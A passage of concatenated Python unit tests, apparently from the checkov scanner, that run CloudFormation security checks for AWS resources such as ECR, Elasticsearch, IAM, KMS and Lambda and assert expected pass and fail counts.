TestECRRepositoryEncrypted(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ECRRepositoryEncrypted" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::ECR::Repository.KMSEncryption" } failing_resources = { "AWS::ECR::Repository.AES256Encryption", "AWS::ECR::Repository.NoEncryption" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ECSClusterContainerInsights.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ECSClusterContainerInsights import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestECSClusterContainerInsights(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ECSClusterContainerInsights" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ECSTaskDefinitionEFSVolumeEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ECSTaskDefinitionEFSVolumeEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestECSTaskDefinitionEFSVolumeEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ECSTaskDefinitionEFSVolumeEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_EFSEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.EFSEncryptionEnabled import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestEFSEncryptionEnabled(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_EFSEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_EKSNodeGroupRemoteAccess.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.EKSNodeGroupRemoteAccess import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestEKSNodeGroupRemoteAccess(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_EKSNodeGroupRemoteAccess" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_EKSSecretEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.EKSSecretsEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestEKSSecretEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_EKSSecretEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ELBAccessLogs.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ELBAccessLogs import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestELBAccessLogs(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ELBAccessLogs" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ELBv2AccessLogs.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ELBv2AccessLogs import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestELBv2AccessLogs(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ELBv2AccessLogs" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtRest.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtRest import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestElasticacheReplicationGroupEncryptionAtRest(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ElasticacheReplicationGroupEncryptionAtRest" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtTransit.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtTransit import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestElasticacheReplicationGroupEncryptionAtTransit(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ElasticacheReplicationGroupEncryptionAtTransit" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ElasticacheReplicationGroupEncryptionAtTransitAuthToken import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestElasticacheReplicationGroupEncryptionAtTransitAuthToken(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::ElastiCache::ReplicationGroup.ReplicationGroupPass", "AWS::ElastiCache::ReplicationGroup.ReplicationGroupPass2", } failing_resources = { "AWS::ElastiCache::ReplicationGroup.ReplicationGroupFail", "AWS::ElastiCache::ReplicationGroup.ReplicationGroupFail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ElasticsearchDomainAuditLogging.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ElasticsearchDomainAuditLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestElasticsearchDomainAuditLogging(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ElasticsearchDomainAuditLogging" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ElasticsearchDomainEnforceHTTPS.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ElasticsearchDomainEnforceHTTPS import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestElasticsearchDomainEnforceHTTPS(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ElasticsearchDomainEnforceHTTPS" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ElasticsearchDomainLogging.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ElasticsearchDomainLogging import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestElasticsearchDomainLogging(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ElasticsearchDomainLogging" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ElastisearchEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ElasticsearchEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestElasticsearchEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ElasticsearchEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_ElastisearchNodeToNodeEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.ElasticsearchNodeToNodeEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestElasticsearchNodeToNodeEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ElasticsearchNodeToNodeEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_GlueDataCatalogEncryption.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.GlueDataCatalogEncryption import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestGlueDataCatalogEncryption(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_GlueDataCatalogEncryption" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_GlueSecurityConfiguration.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.GlueSecurityConfiguration import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestGlueSecurityConfiguration(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_GlueSecurityConfiguration" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_GlueSecurityConfigurationEnabled.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.GlueSecurityConfigurationEnabled import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestGlueSecurityConfigurationEnabled(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_GlueSecurityConfigurationEnabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "AWS::Glue::Crawler.CrawlerEnabled", "AWS::Glue::DevEndpoint.DevEndpointEnabled", "AWS::Glue::Job.JobEnabled", } failing_resources = { "AWS::Glue::Crawler.CrawlerDefault", "AWS::Glue::DevEndpoint.DevEndpointDefault", "AWS::Glue::Job.JobDefault", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_IAMAdminPolicyDocument.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMAdminPolicyDocument import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestIAMAdminPolicyDocument(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_IAMAdminPolicyDocument" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_IAMPermissionsManagement.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMPermissionsManagement import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestIAMPermisionsManagement(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/Cloudsplaining_IAMPermissionsManagement" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action']) self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) self.assertEqual(report.failed_checks[2].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_IAMPolicyAttachedToGroupOrRoles.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMPolicyAttachedToGroupOrRoles import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestIAMPolicyAttachedToGroupOrRoles(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_IAMPolicyAttachedToGroupOrRoles" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_IAMRoleAllowAssumeFromAccount.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMRoleAllowAssumeFromAccount import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestIAMRoleAllowAssumeFromAccount(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_IAMRoleAllowAssumeFromAccount" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 5) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_IAMRoleAllowsPublicAssume.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMRoleAllowsPublicAssume import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestIAMRoleAllowsPublicAssume(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_IAMRoleAllowsPublicAssume" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::IAM::Role.ServiceRole", "AWS::IAM::Role.DenyIgnore", "AWS::IAM::Role.ServiceRole2", "AWS::IAM::Role.DenyIgnore2", } failing_resources = { "AWS::IAM::Role.AWSStarPrincipal", "AWS::IAM::Role.AWSStarPrincipalInList", "AWS::IAM::Role.AWSStarPrincipal2", "AWS::IAM::Role.AWSStarPrincipalInList2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_IAMStarActionPolicyDocument.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMStarActionPolicyDocument import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestIAMStarActionPolicyDocument(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_IAMStarActionPolicyDocument" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 5) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_IAMWriteAccess.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IAMWriteAccess import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestIAMWriteAccess(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/Cloudsplaining_IAMWriteAccess" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(report.failed_checks[0].check_id, check.id) self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action']) self.assertEqual(report.failed_checks[1].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) self.assertEqual(report.failed_checks[2].check_result.get('evaluated_keys'), ['Properties/PolicyDocument/Statement/[0]/Action/[0]/']) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_IMDSv1Disabled.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.IMDSv1Disabled import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestIMDSv1Disabled(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_IMDSv1Disabled" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_KMSKeyWildCardPrincipal.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.KMSKeyWildCardPrincipal import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestKMSKeyWildCardPrincipal(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KMSKeyWildCardPrincipal" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::KMS::Key.Root", "AWS::KMS::Key.Deny", } failing_resources = { "AWS::KMS::Key.AwsWildcard", "AWS::KMS::Key.AwsWildcardList", "AWS::KMS::Key.Wildcard", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_KMSRotation.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.KMSRotation import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestKMSRotation(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KMSRotation" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_KinesisStreamEncryptionType.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.KinesisStreamEncryptionType import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestKinesisStreamEncryptionType(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_KinesisStreamEncryptionType" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::Kinesis::Stream.KMSEncryption" } failing_resources = { "AWS::Kinesis::Stream.NoEncryption" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_LambdaDLQConfigured.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.LambdaDLQConfigured import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestLambdaDLQConfigured(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_LambdaDLQConfigured" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Lambda::Function.Enabled", "AWS::Serverless::Function.Enabled", } failing_resources = { "AWS::Lambda::Function.Default", "AWS::Serverless::Function.Default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_LambdaEnvironmentCredentials.py ================================================ import unittest from pathlib import Path from checkov.cloudformation.checks.resource.aws.LambdaEnvironmentCredentials import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestLambdaEnvironmentCredentials(unittest.TestCase): def test_summary(self): test_files_dir = Path(__file__).parent / "example_LambdaEnvironmentCredentials" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "AWS::Lambda::Function.NoEnv", "AWS::Lambda::Function.NoSecret", "AWS::Lambda::Function.EnvNull", "AWS::Lambda::Function.UnresolvedEnv", "AWS::Serverless::Function.NoEnv", "AWS::Serverless::Function.NoProperties", "AWS::Serverless::Function.NoSecret", "AWS::Lambda::Function.Pass2", "AWS::Lambda::Function.CDKLambda", } failing_resources = { "AWS::Lambda::Function.Secret", "AWS::Serverless::Function.Secret", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/checks/resource/aws/test_LambdaEnvironmentEncryptionSettings.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.LambdaEnvironmentEncryptionSettings import check from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestLambdaEnvironmentEncryptionSettings(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_LambdaEnvironmentEncryptionSettings" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() for record in report.failed_checks: self.assertEqual(record.check_id, check.id) for record in report.passed_checks: self.assertEqual(record.check_id, check.id) passing_resources = { "AWS::Lambda::Function.EnvAndKey", "AWS::Lambda::Function.NoEnvAndNoKey", "AWS::Serverless::Function.EnvAndKey", "AWS::Serverless::Function.NoEnvAndNoKey", } failing_resources = { "AWS::Lambda::Function.EnvAndNoKey", "AWS::Serverless::Function.EnvAndNoKey", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], 4) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) 